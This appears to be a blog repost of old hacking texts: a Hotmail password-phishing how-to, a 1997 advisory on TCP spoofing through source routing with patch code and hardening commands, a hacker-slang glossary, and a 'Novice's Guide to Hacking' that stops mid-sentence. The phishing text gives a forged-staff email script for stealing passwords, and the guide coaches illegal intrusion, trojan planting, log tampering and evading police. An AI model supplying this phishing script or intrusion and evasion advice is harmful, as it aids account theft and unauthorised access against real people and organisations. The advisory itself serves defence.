if U are inside his/her account. So don´t waste U´r time!

---

So you want to get some hotmail passwords?
This is pretty easy to do once you have got the hang of it.
If you are a beginner, I wouldn't make this your first attempt at
hacking. When you need to do is use a port surfer and surf over to
port 80. While there, you have to try and mail the user that you
want the password from. It is best to mail them using the words
"We" and "Here at Hotmail..." Most suckers fall for this and end
up giving out their password. There is another way to also, you can
get an anon mailer, and forge the addres as staff@hotmail.com. But
you have to change the reply address to go to a different addres
like user@host.com. The person that you are trying to get the pass
from MUST respond to that letter for the mail to be forwarded to you.
Have text like "Please reply to this letter with the subject "PASSWORD"
and underneith please include your user name and password.
If you have trouble Loging in withing the next few days, this is
only because we are updating our mail servers but no need to worry,
your mail will still be there. Even though the server may be down
for an hour. From the staff at Hotmail, Thank You."

A simple TCP spoofing attack

2013-01-31T00:45:00.001+07:00

Over the past few years TCP sequence number prediction attacks have become a
real threat against unprotected networks, taking advantage of the inherent
trust relationships present in many network installations. TCP sequence
number prediction attacks have most commonly been implemented by opening a
series of connections to the target host, and attempting to predict the
sequence number which will be used next. Many operating systems have
therefore attempted to solve this problem by implementing a method of
generating sequence numbers in unpredictable fashions. This method does
not solve the problem.

This advisory introduces an alternative method of obtaining the initial
sequence number from some common trusted services. The attack presented here
does not require the attacker to open multiple connections, or flood a port
on the trusted host to complete the attack. The only requirement is that
source routed packets can be injected into the target network with fake
source addresses.

This advisory assumes that the reader already has an understanding of how
TCP sequence number prediction attacks are implemented.

The impact of this advisory is greatly diminished due to the large number of
organizations which block source routed packets and packets with addresses
inside of their networks. Therefore we present the information as more of
a 'heads up' message for the technically inclined, and to re-iterate that
the randomization of TCP sequence numbers is not an effective solution
against this attack.

Technical Details
~~~~~~~~~~~~~~~~~

The problem occurs when particular network daemons accept connections
with source routing enabled, and proceed to disable any source routing
options on the connection. The connection is allowed to continue, however
the reverse route is no longer used. An example attack can launched against
the in.rshd daemon, which on most systems will retrieve the socket options
via getsockopt() and then turn off any dangerous options via setsockopt().

An example attack follows.

Host A is the trusted host
Host B is the target host
Host C is the attacker

Host C initiates a source routed connection to in.rshd on host B, pretending
to be host A.

Host C spoofing Host A <SYN> --> Host B in.rshd

Host B receives the initial SYN packet, creates a new PCB (protocol
control block) and associates the route with the PCB. Host B responds,
using the reverse route, sending back a SYN/ACK with the sequence number.

Host C spoofing Host A <-- <SYN/ACK> Host B in.rshd

Host C responds, still spoofing host A, acknowledging the sequence number.
Source routing options are not required on this packet.

Host C spoofing Host A <ACK> --> Host B in.rshd

We now have an established connection, the accept() call completes, and
control is now passed to the in.rshd daemon. The daemon now does IP
options checking and determines that we have initiated a source routed
connection. The daemon now turns off this option, and any packets sent
thereafter will be sent to the real host A, no longer using the reverse
route which we have specified. Normally this would be safe, however the
attacking host now knows what the next sequence number will be. Knowing
this sequence number, we can now send a spoofed packet without the source
routing options enabled, pretending to originate from Host A, and our
command will be executed.

In some conditions the flooding of a port on the real host A is required
if larger ammounts of data are sent, to prevent the real host A from
responding with an RST. This is not required in most cases when performing
this attack against in.rshd due to the small ammount of data transmitted.

It should be noted that the sequence number is obtained before accept()
has returned and that this cannot be prevented without turning off source
routing in the kernel.

As a side note, we're very lucky that TCP only associates a source route with
a PCB when the initial SYN is received. If it accepted and changed the ip
options at any point during a connection, more exotic attacks may be possible.
These could include hijacking connections across the internet without playing
a man in the middle attack and being able to bypass IP options checking
imposed by daemons using getsockopt(). Luckily *BSD based TCP/IP stacks will
not do this, however it would be interesting to examine other implementations.

Impact
~~~~~~

The impact of this attack is similar to the more complex TCP sequence
number prediction attack, yet it involves fewer steps, and does not require
us to 'guess' the sequence number. This allows an attacker to execute
arbitrary commands as root, depending on the configuration of the target
system. It is required that trust is present here, as an example, the use
of .rhosts or hosts.equiv files.

Solutions
~~~~~~~~~

The ideal solution to this problem is to have any services which rely on
IP based authentication drop the connection completely when initially
detecting that source routed options are present. Network administrators
and users can take precautions to prevent users outside of their network
from taking advantage of this problem. The solutions are hopefully already
either implemented or being implemented.

1. Block any source routed connections into your networks
2. Block any packets with internal based address from entering your network.

Network administrators should be aware that these attacks can easily be
launched from behind filtering routers and firewalls. Internet service
providers and corporations should ensure that internal users cannot launch
the described attacks. The precautions suggested above should be implemented
to protect internal networks.

Example code to correctly process source routed packets is presented here
as an example. Please let us know if there are any problems with it.
This code has been tested on BSD based operating systems.

u_char optbuf[BUFSIZ/3];
int optsize = sizeof(optbuf), ipproto, i;
struct protoent *ip;

if ((ip = getprotobyname("ip")) != NULL)
ipproto = ip->p_proto;
else
ipproto = IPPROTO_IP;
if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) &&
optsize != 0) {
for (i = 0; i < optsize; ) {
u_char c = optbuf[i];
if (c == IPOPT_LSRR || c == IPOPT_SSRR)
exit(1);
if (c == IPOPT_EOL)
break;
i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];
}
}

One critical concern is in the case where TCP wrappers are being used. If
a user is relying on TCP wrappers, the above fix should be incorporated into
fix_options.c. The problem being that TCP wrappers itself does not close
the connection, however removes the options via setsockopt(). In this case
when control is passed to in.rshd, it will never see any options present,
and the connection will remain open (even if in.rshd has the above patch
incorporated). An option to completely drop source routed connections will
hopefully be provided in the next release of TCP wrappers. The other option
is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.
This passes through IP options and allows the called daemon to handle them
accordingly.

Disabling Source Routing
~~~~~~~~~~~~~~~~~~~~~~~~

We believe the following information to be accurate, however it is not
guaranteed.

--- Cisco

To have the router discard any datagram containing an IP source route option
issue the following command:

no ip source-route

This is a global configuration option.

--- NetBSD

Versions of NetBSD prior to 1.2 did not provide the capability for disabling
source routing. Other versions ship with source routing ENABLED by default.
We do not know of a way to prevent NetBSD from accepting source routed packets.
NetBSD systems, however, can be configured to prevent the forwarding of packets
when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0

--- BSD/OS

BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd. This
patch is availible at:

ftp://ftp.bsdi.com/bsdi/patches/patches-2.1

OR via their patches email server <patches@bsdi.com>

The patch number is
U210-037 (normal version)
D210-037 (domestic version for sites running kerberized version)

BSD/OS 2.1 has source routing disabled by default

Previous versions ship with source routing ENABLED by default. As far as
we know, BSD/OS cannot be configured to drop source routed packets destined
for itself, however can be configured to prevent the forwarding of such
packets when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0

--- OpenBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

This will prevent OpenBSD from forwarding and accepting any source routed
packets.

--- FreeBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

--- Linux

Linux by default has source routing disabled in the kernel.

--- Solaris 2.x

Ships with source routing enabled by default. Solaris 2.5.1 is one of the
few commercial operating systems that does have unpredictable sequence
numbers, which does not help in this attack.

We know of no method to prevent Solaris from accepting source routed
connections, however, Solaris systems acting as gateways can be prevented
from forwarding any source routed packets via the following commands:

# ndd -set /dev/ip ip_forward_src_routed 0

You can prevent forwarding of all packets via:

# ndd -set /dev/ip ip_forwarding 0

These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.

--- SunOS 4.x

We know of no method to prevent SunOS from accepting source routed
connections, however a patch is availible to prevent SunOS systems from
forwarding source routed packets.

This patch is availible at:

ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz

To configure SunOS to prevent forwarding of all packets, the following
command can be issued:

# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem
# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem

The first command turns off packet forwarding in /dev/mem, the second in
/vmunix.

--- HP-UX

HP-UX does not appear to have options for configuring an HP-UX system to
prevent accepting or forwarding of source routed packets. HP-UX has IP
forwarding turned on by default and should be turned off if acting as a
firewall. To determine whether IP forwarding is currently on, the following
command can be issued:

# adb /hp-ux
ipforwarding?X <- user input
ipforwarding:
ipforwarding: 1
#

A response of 1 indicates IP forwarding is ON, 0 indicates off. HP-UX can
be configured to prevent the forwarding of any packets via the following
commands:

# adb -w /hp-ux /dev/kmem
ipforwarding/W 0
ipforwarding?W 0
^D
#

--- AIX

AIX cannot be configured to discard source routed packets destined for itself,
however can be configured to prevent the forwarding of source routed packets.
IP forwarding and forwarding of source routed packets specifically can be
turned off under AIX via the following commands:

To turn off forwarding of all packets:

# /usr/sbin/no -o ipforwarding=0

To turn off forwarding of source routed packets:

# /usr/sbin/no -o nonlocsrcroute=0

Note that these commands should be added to /etc/rc.net

If shutting off source routing is not possible and you are still using
services which rely on IP address authentication, they should be disabled
immediately (in.rshd, in.rlogind). in.rlogind is safe if .rhosts and
/etc/hosts.equiv are not used.

Attributions
~~~~~~~~~~~~

Thanks to Niels Provos <provos@physnet.uni-hamburg.de> for providing
the information and details of this attack. You can view his web
site at http://www.physnet.uni-hamburg.de/provos

Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this
information to us. More information on OpenBSD can be found at
http://www.openbsd.org

Thanks to Keith Bostic <bostic@bsdi.com> for discussion and a quick
solution for BSD/OS.

Thanks to Brad Powell <brad.powell@west.sun.com> for providing information
for Solaris 2.x and SunOS 4.x operating systems.

Thanks go to CERT and AUSCERT for recommendations in this advisory.

You can contact the author of this advisory at oliver@secnet.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1
A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd
Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR
tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO
fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8
45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU
qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8=
=xq4f
-----END PGP PUBLIC KEY BLOCK-----

Copyright Notice
~~~~~~~~~~~~~~~~
The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,
and may be distributed freely provided that no fee is charged for
distribution, and that proper credit is given.

You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers
and advisories at ftp://ftp.secnet.com/advisories

You can browse our web site at http://www.secnet.com

You can subscribe to our security advisory mailing list by sending mail to
majordomo@secnet.com with the line "subscribe sni-advisories"

A Short HACKER SPEAK Glossary

2013-01-31T00:42:00.000+07:00

***********************************************************************
This article is being presented through the *StarBoard* Journal of the
FlagShip/StarShip SIGs (Special Interest Groups) on Delphi and GEnie
telecommunication networks. Permission is hereby granted to non-profit
organizations only to reprint this article or pass it along electronic-
ally as long as proper credit is given to both the author and the
*StarBoard* Journal.
***********************************************************************

A Short 'HACKERSPEAK' Glossary
-
A reference to a few of the terms used by many computer hackers.
-
(Researched and compiled by members of the Hollywood User Group)
-

arg - (argh) noun. An argument, in the mathematical sense.

automagically - adverb. Automatically, but in a way which, for some
reason (for example, because it's too complicated or too trivial) the
speaker doesn't feel like explaining.

bells and whistles - n. Unnecessary (but often convenient, useful,
good-looking, or amusing) features of a program or other object. Added
to a bare-bones, working program.

bit - n. 1) A unit of information obtained by asking a question (e.g.
- 'I need a few bits about Punter protocol') 2) A mental flag;
reminder that something should be done eventually.

buffer - verb. The act of saving or setting aside something to be done
later. (e.g. - 'I'm going to buffer that and go eat now').

bug - n. A problem or mistake; unwanted property or side effect.
Usually of a program, but can refer to a person. Can be very simple or
very complicated. Antonym: FEATURE.

bum - v. To improve something by rearranging or removing its parts.
Most often done to a program to increase speed or save memory space,
usually at the expense of clarity.

buzz - v. Of a program, to run without visible progress or certainty
of finishing. Resembles CATATONIA except that a buzzing loop may
eventually end.

canonical - (ki NAHN i kil) adjective. Standard, usual or ordinary way
of doing something.

catatonia - n. A condition in which something is supposed to happen,
but nothing does. (e.g. - Nothing you type will appear on the screen.
It's catatonic. Often means a CRASH has occured.)

crash - 1) n. Sudden, drastic failure. Usually refers to a complete
computer system or program. 2) v. To fail suddenly or cause to fail.
3) v. Of people, to go to sleep.

creeping featurism - n. Tendency for anything complicated to become
even more so because people keep saying, 'Hey, it would be terrific if
the program had this feature, and could do this, and...' The result is
a patchwork program, confusing to read, with a lot of 'neat' features.

crock - n. Said of a program that works, but in an extremely awkward
or cumbersome manner.

crunch - v. To process, usually in a time-consuming, complex way.
Example: Performing large, repetitive numerical computations is called
'number crunching'. 2) v. To reduce the size of a file (often in a
complicated way) to save space.

dec'ed out - (decked out) adj. Stoned, drunk (and possibly trying to
program, regardless). Uncomplimentary. Derives from the 65-- series
ML opcode DECrement, i.e.: decrease a value.

elegant - adj. Said of a piece of code that does the RIGHT THING in a
way beautiful to look at.

feature - n. An extra property or behaviour added to a program that
already does the job. May or may not be useful, necessary or
convenient.

fencepost error - n. A mathematical 'off-by-one' error. Most often
found in programs that must count loops (it will count one time too
many, or too few). Term comes from the problem: 'If you build a fence
100 feet long with posts 10 feet apart, how many posts fo you need?'
Example: Suppose you want to process an array of items x thru y. How
many are there? The correct answer is x-y+1 (not x-y, which would be
off by one).

flavor - n. variety, kind, type. (flavorful - adj. Aesthetically
pleasing).

flush - v. To scratch, delete or destroy something. Often something
superfluous or useless.

fudge - v. Perform in an incomplete, but marginally acceptable way.
'I fudged it, so it works.'

GC - (jee see) 1) v. To clean up, throw away useless things. 2) To
forget. GC is an abreviation of the term 'Garbage Collection', the
common method of freeing up memory space.

glitch - n. Sudden interruption in electrical service, common sense,
or program function. Usually happens only when you pray that it
doesn't.

grovel - v. To work interminably, examine minutely or in extreme
detail.

gun - v. To forcibly terminate a program. 'It was a boring display,
so I gunned it.'

hack - n. An appropriate application of ingenuity. It could be a
quick-and-dirty bug fix, or a time-consuming and elegant work of art.
A clever technique.

hack value - n. The motivation for expending effort and time toward a
seemingly pointless goal, the point being the resulting hack.

hack attack - n. Period of greatly increased hacking activity. Not to
be confused with a Mac-Attack.

hacker - n. 1) One who greatly enjoys learning the details of a
computer system and how to stretch their capabilities (as opposed to
REAL USERS who learn only the minimum amount necessary). 2) One who
programs enthusiastically, rather than just theorizing about it. 3)
One capable of appreciating HACK VALUE. 4) An expert of any kind 5) A
malicious or inquisitive meddler (in the case of a 'system hacker' or a
'password hacker').

inc it up - (also 'incing') v. Specifically related to studying,
reading, or learning ML. Derives from the 65-- series ML instruction
INCrement a value; i.e. increase it.

jock - n. Programmer characterized by the large, cumbersome,
brute-force programs he/she writes. The programs may work, but slowly,
inelegantly, or in an ugly way.

kludge - (kloog) 1) n. Clever programming trick, most often to fix a
bug. Efficient, but maybe unclear. 2) v. To insert a kludge into a
program (to fix a bug or add a feature).

magic - adj. Something as yet unexplained or too complex to imagine.

M&M's - n. Mental and Midget; i.e. Mental Midget. Uncomplimentary
term applied most often to 'system hackers' who intrude for disruptive
or destructive purposes (like to crash BBS's).

misfeature - n. A FEATURE that eventually turns out to be more trouble
than it was worth, possibly because it is inadequate for a new user or
situation that has evolved. Misfeatures are different from bugs or
side-effects in that they are often more basic to the program design
and, at one time, were carefully planned.

moby - 1) adj. Immense, complex, or impressive. 2) n. Total size of
a computers address space.

mode - n. A general state. Examples: DAY MODE - state a person is in
when s/he is working days and sleeping nights.

mumble - interjection. Said when the correct response is too
complicated to put into words or has not been thought out. Can
indicate a reluctance to enter a long discussion.

mumblage - n. The subject matter of one's mumbling. Replaces 'all
that stuff'.

nop around (or nopping) - v. Hanging out; not doing much; not
programming. Derives from the 65-- series ML instruction code 'NOP'
(No OPeration).

obie (or o.b.) - n. Derives from a pun with the word 'OverByte'.
Usually relates to a ML routine that doesn't work because of some
small mistake, possibly an incorrect addressing mode or even a typing
error. Most often one or two bytes wrong.

patch - 1) n. Piece of code intended as a quick-and-dirty remedy to a
BUG or MISFEATURE. 2) v. To fix something temporarily; insert a patch
into a piece of code; make the main program machine-specific.

punt - v. To give up; decide not to do.

rave - v. 1) To persist in discussing something. 2) To speak
authoritatively about that which one knows very little. 3) To
proselytize.

real user - n. A commercial user; a non-hacker who uses computer
applications only.

Real World, The - n. 1) Places where programs have only business
applications. 2) Institutions such as IBM. 3) The location of
non-programmers and non-programming activity. The first two
definitions are uncomplimentary; the third is not.

Right Thing, The - n. that which is obviously the appropriate thing to
use, do, say, etc.

rude - (rood or roo-day) adj. Programs badly written or functionally
poor.

sacred - adj. Reserved for the exclusive use of something. Usually
refers to memory location or register that shouldn't be used because
what is stored there must not change.

slurp - v. To read a large data file into memory before using or
processing data.

smart - adj. Said of a program (or something) that does THE RIGHT
THING.

SMOP - n. An acronym for a 'Small Matter Of Programming'. A piece of
code that would not at all be hard to write, but would take a very long
time because of its size. Not worth the trouble.

snail mail - n. Mail sent via Post Office, rather than electronically.

software rot - n. Hypothetical disease that causes working programs to
stop working when unused for a period of time.

tense - adj. Of programs, very clever and efficient. A tense
programmer produces tense code.

vanilla - adj. Standard, usual, or ordinary FLAVOR.

zero - v. 1) To set a bit or variable to zero. 2) To erase, or
discard all data from.

zorch - v. 1) To move quickly. 2) Influences. 3) Energy or ability.

A Novice's Guide to Hacking 2013

2013-01-31T00:40:00.001+07:00

+++++++++++++++++++++++++++++++++++++++++++++++++
| The LOD/H Presents |
++++++++++++++++ ++++++++++++++++
\ A Novice's Guide to Hacking- 2012 edition /
\ ========================================= /
\ by /
\ Som Dara /
\ Legion of Doom/Legion of Hackers /
\ /
\ May 11/2012 /
\ Happy Birthday to you .. ! /
\+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/

**********************************************************************
| The author hereby grants permission to reproduce, redistribute, |
| or include this file in your g-file section, electronic or print |
| newletter, or any other form of transmission that you choose, as |
| long as it is kept intact and whole, with no ommissions, delet- |
| ions, or changes. (C) The Mentor- Phoenix Project Productions |
| 2012 XXX/XXX-XXXX |
**********************************************************************

Introduction: The State of the Hack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
After surveying a rather large g-file collection, my attention was drawn to
the fact that there hasn't been a good introductory file written for absolute
beginners since back when Mark Tabas was cranking them out (and almost
*everyone* was a beginner!) The Arts of Hacking and Phreaking have changed
radically since that time, and as the 90's approach, the hack/phreak community
has recovered from the Summer '87 busts (just like it recovered from the Fall
'85 busts, and like it will always recover from attempts to shut it down), and
the progressive media (from Reality Hackers magazine to William Gibson and
Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice
of us for the first time in recent years in a positive light.
Unfortunately, it has also gotten more dangerous since the early 80's.
Phone cops have more resources, more awareness, and more intelligence that they
exhibited in the past. It is becoming more and more difficult to survive as
a hacker long enough to become skilled in the art. To this end this file
is dedicated . If it can help someone get started, and help them survive
to discover new systems and new information, it will have served it's purpose,
and served as a partial repayment to all the people who helped me out when I
was a beginner.

Contents
~~~~~~~~
This file will be divided into four parts:
Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety
Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it,
Outdials, Network Servers, Private PADs
Part 3: Identifying a Computer, How to Hack In, Operating System
Defaults
Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call,
Acknowledgements

Part One: The Basics
~~~~~~~~~~~~~~~~~~~~
As long as there have been computers, there have been hackers. In the 50's
at the Massachusets Institute of Technology (MIT), students devoted much time
and energy to ingenious exploration of the computers. Rules and the law were
disregarded in their pursuit for the 'hack'. Just as they were enthralled with
their pursuit of information, so are we. The thrill of the hack is not in
breaking the law, it's in the pursuit and capture of knowledge.
To this end, let me contribute my suggestions for guidelines to follow to
ensure that not only you stay out of trouble, but you pursue your craft without
damaging the computers you hack into or the companies who own them.

I. Do not intentionally damage *any* system.
II. Do not alter any system files other than ones needed to ensure your
escape from detection and your future access (Trojan Horses, Altering
Logs, and the like are all necessary to your survival for as long as
possible.)
III. Do not leave your (or anyone else's) real name, real handle, or real
phone number on any system that you access illegally. They *can* and
will track you down from your handle!
IV. Be careful who you share information with. Feds are getting trickier.
Generally, if you don't know their voice phone number, name, and
occupation or haven't spoken with them voice on non-info trading
conversations, be wary.
V. Do not leave your real phone number to anyone you don't know. This
includes logging on boards, no matter how k-rad they seem. If you
don't know the sysop, leave a note telling some trustworthy people
that will validate you.
VI. Do not hack government computers. Yes, there are government systems
that are safe to hack, but they are few and far between. And the
government has inifitely more time and resources to track you down than
a company who has to make a profit and justify expenses.
VII. Don't use codes unless there is *NO* way around it (you don't have a
local telenet or tymnet outdial and can't connect to anything 800...)
You use codes long enough, you will get caught. Period.
VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law.
It doesn't hurt to store everything encrypted on your hard disk, or
keep your notes buried in the backyard or in the trunk of your car.
You may feel a little funny, but you'll feel a lot funnier when you
when you meet Bruno, your transvestite cellmate who axed his family to
death.
IX. Watch what you post on boards. Most of the really great hackers in the
country post *nothing* about the system they're currently working
except in the broadest sense (I'm working on a UNIX, or a COSMOS, or
something generic. Not "I'm hacking into General Electric's Voice Mail
System" or something inane and revealing like that.)
X. Don't be afraid to ask questions. That's what more experienced hackers
are for. Don't expect *everything* you ask to be answered, though.
There are some things (LMOS, for instance) that a begining hacker
shouldn't mess with. You'll either get caught, or screw it up for
others, or both.
XI. Finally, you have to actually hack. You can hang out on boards all you
want, and you can read all the text files in the world, but until you
actually start doing it, you'll never know what it's all about. There's
no thrill quite the same as getting into your first system (well, ok,
I can think of a couple of bigger thrills, but you get the picture.)

One of the safest places to start your hacking career is on a computer
system belonging to a college. University computers have notoriously lax
security, and are more used to hackers, as every college computer depart-
ment has one or two, so are less likely to press charges if you should
be detected. But the odds of them detecting you and having the personel to
committ to tracking you down are slim as long as you aren't destructive.
If you are already a college student, this is ideal, as you can legally
explore your computer system to your heart's desire, then go out and look
for similar systems that you can penetrate with confidence, as you're already
familar with them.
So if you just want to get your feet wet, call your local college. Many of
them will provide accounts for local residents at a nominal (under $20) charge.
Finally, if you get caught, stay quiet until you get a lawyer. Don't vol-
unteer any information, no matter what kind of 'deals' they offer you.
Nothing is binding unless you make the deal through your lawyer, so you might
as well shut up and wait.

Part Two: Networks
~~~~~~~~~~~~~~~~~~
The best place to begin hacking (other than a college) is on one of the
bigger networks such as Telenet. Why? First, there is a wide variety of
computers to choose from, from small Micro-Vaxen to huge Crays. Second, the
networks are fairly well documented. It's easier to find someone who can help
you with a problem off of Telenet than it is to find assistance concerning your
local college computer or high school machine. Third, the networks are safer.
Because of the enormous number of calls that are fielded every day by the big
networks, it is not financially practical to keep track of where every call and
connection are made from. It is also very easy to disguise your location using
the network, which makes your hobby much more secure.
Telenet has more computers hooked to it than any other system in the world
once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET,
DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of
which you can connect to from your terminal.
The first step that you need to take is to identify your local dialup port.
This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will
spout some garbage at you and then you'll get a prompt saying 'TERMINAL='.
This is your terminal type. If you have vt100 emulation, type it in now. Or
just hit return and it will default to dumb terminal mode.
You'll now get a prompt that looks like a @. From here, type @c mail <cr>
and then it will ask for a Username. Enter 'phones' for the username. When it
asks for a password, enter 'phones' again. From this point, it is menu
driven. Use this to locate your local dialup, and call it back locally. If
you don't have a local dialup, then use whatever means you wish to connect to
one long distance (more on this later.)
When you call your local dialup, you will once again go through the
TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets
you know you are connected to a Telenet PAD. PAD stands for either Packet
Assembler/Disassembler (if you talk to an engineer), or Public Access Device
(if you talk to Telenet's marketing people.) The first description is more
correct.
Telenet works by taking the data you enter in on the PAD you dialed into,
bundling it into a 128 byte chunk (normally... this can be changed), and then
transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who
then takes the data and hands it down to whatever computer or system it's
connected to. Basically, the PAD allows two computers that have different baud
rates or communication protocols to communicate with each other over a long
distance. Sometimes you'll notice a time lag in the remote machines response.
This is called PAD Delay, and is to be expected when you're sending data
through several different links.
What do you do with this PAD? You use it to connect to remote computer
systems by typing 'C' for connect and then the Network User Address (NUA) of
the system you want to go to.
An NUA takes the form of 031103130002520
\___/\___/\___/
| | |
| | |____ network address
| |_________ area prefix
|______________ DNIC

This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC)
according to their country and network name.

DNIC Network Name Country DNIC Network Name Country
_______________________________________________________________________________
|
02041 Datanet 1 Netherlands | 03110 Telenet USA
02062 DCS Belgium | 03340 Telepac Mexico
02080 Transpac France | 03400 UDTS-Curacau Curacau
02284 Telepac Switzerland | 04251 Isranet Israel
02322 Datex-P Austria | 04401 DDX-P Japan
02329 Radaus Austria | 04408 Venus-P Japan
02342 PSS UK | 04501 Dacom-Net South Korea
02382 Datapak Denmark | 04542 Intelpak Singapore
02402 Datapak Sweden | 05052 Austpac Australia
02405 Telepak Sweden | 05053 Midas Australia
02442 Finpak Finland | 05252 Telepac Hong Kong
02624 Datex-P West Germany | 05301 Pacnet New Zealand
02704 Luxpac Luxembourg | 06550 Saponet South Africa
02724 Eirpak Ireland | 07240 Interdata Brazil
03020 Datapac Canada | 07241 Renpac Brazil
03028 Infogram Canada | 09000 Dialnet USA
03103 ITT/UDTS USA | 07421 Dompac French Guiana
03106 Tymnet USA |

There are two ways to find interesting addresses to connect to. The first
and easiest way is to obtain a copy of the LOD/H Telenet Directory from the
LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good
list of non-US addresses in Phrack Inc. Newsletter Issue 21. These files will
tell you the NUA, whether it will accept collect calls or not, what type of
computer system it is (if known) and who it belongs to (also if known.)
The second method of locating interesting addresses is to scan for them
manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a
Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to
look at, you could type @c 412 614 (0's can be ignored most of the time.)
If this node allows collect billed connections, it will say 412 614
CONNECTED and then you'll possibly get an identifying header or just a
Username: prompt. If it doesn't allow collect connections, it will give you a
message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to
the right, and return you to the @ prompt.
There are two primary ways to get around the REFUSED COLLECT message. The
first is to use a Network User Id (NUI) to connect. An NUI is a username/pw
combination that acts like a charge account on Telenet. To collect to node
412 614 with NUI junk4248, password 525332, I'd type the following:
@c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the
screen. The problem with NUI's is that they're hard to come by unless you're
a good social engineer with a thorough knowledge of Telenet (in which case
you probably aren't reading this section), or you have someone who can
provide you with them.
The second way to connect is to use a private PAD, either through an X.25
PAD or through something like Netlink off of a Prime computer (more on these
two below.)
The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area
Code that the computer is located in (i.e. 713 xxx would be a computer in
Houston, Texas.) If there's a particular area you're interested in, (say,
New York City 914), you could begin by typing @c 914 001 <cr>. If it connects,
you make a note of it and go on to 914 002. You do this until you've found
some interesting systems to play with.
Not all systems are on a simple xxx yyy address. Some go out to four or
five digits (914 2354), and some have decimal or numeric extensions
(422 121A = 422 121.01). You have to play with them, and you never know what
you're going to find. To fully scan out a prefix would take ten million
attempts per prefix. For example, if I want to scan 512 completely, I'd have
to start with 512 00000.00 and go through 512 00000.99, then increment the
address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning.
There are plenty of neat computers to play with in a 3-digit scan, however,
so don't go berserk with the extensions.
Sometimes you'll attempt to connect and it will just be sitting there after
one or two minutes. In this case, you want to abort the connect attempt by
sending a hard break (this varies with different term programs, on Procomm,
it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect.
If you connect to a computer and wish to disconnect, you can type <cr> @
<cr> and you it should say TELENET and then give you the @ prompt. From there,
type D to disconnect or CONT to re-connect and continue your session
uninterrupted.

Outdials, Network Servers, and PADs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In addition to computers, an NUA may connect you to several other things.
One of the most useful is the outdial. An outdial is nothing more than a modem
you can get to over telenet- similar to the PC Pursuit concept, except that
these don't have passwords on them most of the time.
When you connect, you will get a message like 'Hayes 1200 baud outdial,
Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established
on Modem 5588'. The best way to figure out the commands on these is to
type ? or H or HELP- this will get you all the information that you need to
use one.
Safety tip here- when you are hacking *any* system through a phone dialup,
always use an outdial or a diverter, especially if it is a local phone number
to you. More people get popped hacking on local computers than you can
imagine, Intra-LATA calls are the easiest things in the world to trace inexp-
ensively.
Another nice trick you can do with an outdial is use the redial or macro
function that many of them have. First thing you do when you connect is to
invoke the 'Redial Last Number' facility. This will dial the last number used,
